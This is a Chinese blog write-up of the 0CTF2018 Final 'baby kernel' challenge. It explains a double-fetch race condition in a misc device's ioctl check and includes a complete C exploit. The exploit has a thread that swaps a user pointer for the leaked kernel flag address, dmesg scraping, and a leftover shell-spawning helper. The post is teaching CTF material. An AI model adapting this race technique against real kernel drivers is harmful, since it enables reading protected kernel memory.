Race condition——double fetch

Race condition——double fetch

kernel pwn好玩捏

原理

由于kernel pwn可以由我们自己编写用户态程序,因此我们可以利用通过条件竞争实现某些效果,如先利用合法数据跳过某些检查,再在取值检查和取值操作两步中间用另一个线程修改相关数据,来让不安全数据通过检查。

例题 0CTF2018 Final - baby kernel

misc_register

baby.ko在初始化时有下面的操作:

misc_register(&baby);

这个函数有如下介绍:

misc_register 是 Linux 内核中的一个函数,用于注册一个杂项设备(misc device)。杂项设备是一种不适合归类为字符设备、块设备或网络设备的设备,通常用于一些特殊的小型设备或功能。这个函数用于将这些杂项设备添加到内核中,以便用户空间可以通过文件系统接口与其进行交互。

函数原型如下:

int misc_register(struct miscdevice * misc);

参数 misc 是一个指向 struct miscdevice 结构的指针,用于描述要注册的杂项设备的属性和操作。下面是 struct miscdevice 的定义:

struct miscdevice {
    int minor;                      // 次设备号
    const char *name;               // 设备名称
    const struct file_operations *fops; // 文件操作结构指针
    struct list_head list;          // 内核链表,用于管理杂项设备
    struct device *parent;          // 父设备指针
    struct device *this_device;     // 指向自身的设备指针
    const char *nodename;           // 设备节点名称
    umode_t mode;                   // 节点权限
};

简要解释一下这些字段:

minor: 次设备号,用于唯一标识设备。
name: 设备名称,在 /dev 目录下会生成相应的设备文件。
fops: 指向设备的文件操作函数表(例如读取、写入、控制等)。
list: 内核链表,用于将杂项设备连接到内核的杂项设备列表中。
parent: 父设备指针,通常设置为 NULL。
this_device: 指向自身的设备指针。
nodename: 设备节点名称,可以是 NULL。
mode: 设备节点的权限模式。
当你调用 misc_register 函数并提供一个填充了必要信息的 struct miscdevice 结构后,内核会将这个杂项设备添加到系统中,使其可以在用户空间通过文件系统接口进行访问。

例如,假设你有一个名为 baby 的杂项设备,并且你已经填充好了一个相应的 struct miscdevice 结构,那么你可以通过以下方式调用 misc_register 函数:

struct miscdevice baby_device = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "baby",
    .fops = &baby_fops,
    .mode = 0666
};

int result = misc_register(&baby_device);
if (result != 0) {
    // 注册失败处理
}

其中,baby_fops 是一个指向定义了设备操作函数的结构体指针,0666 表示节点权限。

这个设备可以在/dev目录下找到,可以通过open与其交互

地址检查

ioctl的command为0x6666时其中一个功能可以打印flag地址。

另一个分支需要传入以下结构,如果地址和长度与内核中的flag一致则打印flag:

struct flag{
	char* flag_addr;
	int len;
}

同时还调用了如下函数

bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  bool v3; // cf
  unsigned __int64 v4; // rdi

  v3 = __CFADD__(a2, a1);
  v4 = a2 + a1;
  return v3 || a3 < v4;
}

CFADD(a2, a1)这一句就是看相加结果是否标记了CF位,即是否发生了进位。

函数执行中,a1传入的是flag_addr,第二个参数是0x10或者flag_len,第三个参数传入的是一个定值0x7ffffffff000。也就是说这个flag_addr加0x10不能溢出,并且加上长度不能超过上面那个值。

因为内核数据的地址都是0xffffffff打头的,直接传入内核地址过不去检查。因此这里就可以用条件竞争,先让struct flag内的flag_addr为用户空间地址(计算后一般都能过检查),同时开启一个线程,将结构体内的flag_addr修改为之前打印的内核空间flag地址。就能通过检测了。

设备printk打印的信息可以通过dmesg命令来查看,可以使用grep配合>来讲打印的内容放到文件里,再通过读取输出文件得到flag。

EXP

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <pthread.h>

int fd;
char recv[0x100]={0};
pthread_t compete_thread;
size_t flag_addr;
int status=1;

int backdoor(){
    system("/bin/sh");
    return 0;
}

unsigned long long user_cs=0,user_ss=0,user_sp=0,user_rflags=0;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

struct{
    char* addr;
    int len;
}flag={0,33};

void competetionThread(){
    while(status){
        flag.addr=flag_addr;
    }
}

int main(){
    save_status();
    fd=open("/dev/baby",O_RDWR);

    ioctl(fd,0x6666,0);
    system("dmesg |grep flag> recv.txt");
    int flag_addr_fd=open("./recv.txt",O_RDWR);
    read(flag_addr_fd,recv,0x100);
    char * addr_start=strstr(recv,"Your flag is at ")+strlen("Your flag is at ");
    flag_addr=strtoull(addr_start,addr_start+16,16);
    flag.addr=recv;
    printf("GET FLAG ADDR: %lx\n",flag_addr);
    
    pthread_create(&compete_thread, NULL, competetionThread, NULL);
    
    while(status){
        for(int i = 0; i < 2000; i++)
        {
            flag.addr = recv;
            ioctl(fd, 0x1337, &flag);
        }
        system("dmesg | grep flag > output.txt");
        int output_fd = open("./output.txt", O_RDONLY);
        char flag[0x300]={0};
        read(output_fd, flag, 0x300);
        if (strstr(flag, "flag{"))
            status = 0;
    }
    pthread_cancel(compete_thread);

    return 0;
}

编译要注意的点

用gcc编译得这样写:

gcc --static -masm=intel -g -o exp exp.c -pthread

用musl得这样写:

musl-gcc --static -masm=intel -g -o exp exp.c -pthread

pthread需要额外加上参数-pthread

posted @ 2023-08-31 16:50  Jmp·Cliff  阅读(38)  评论(0编辑  收藏  举报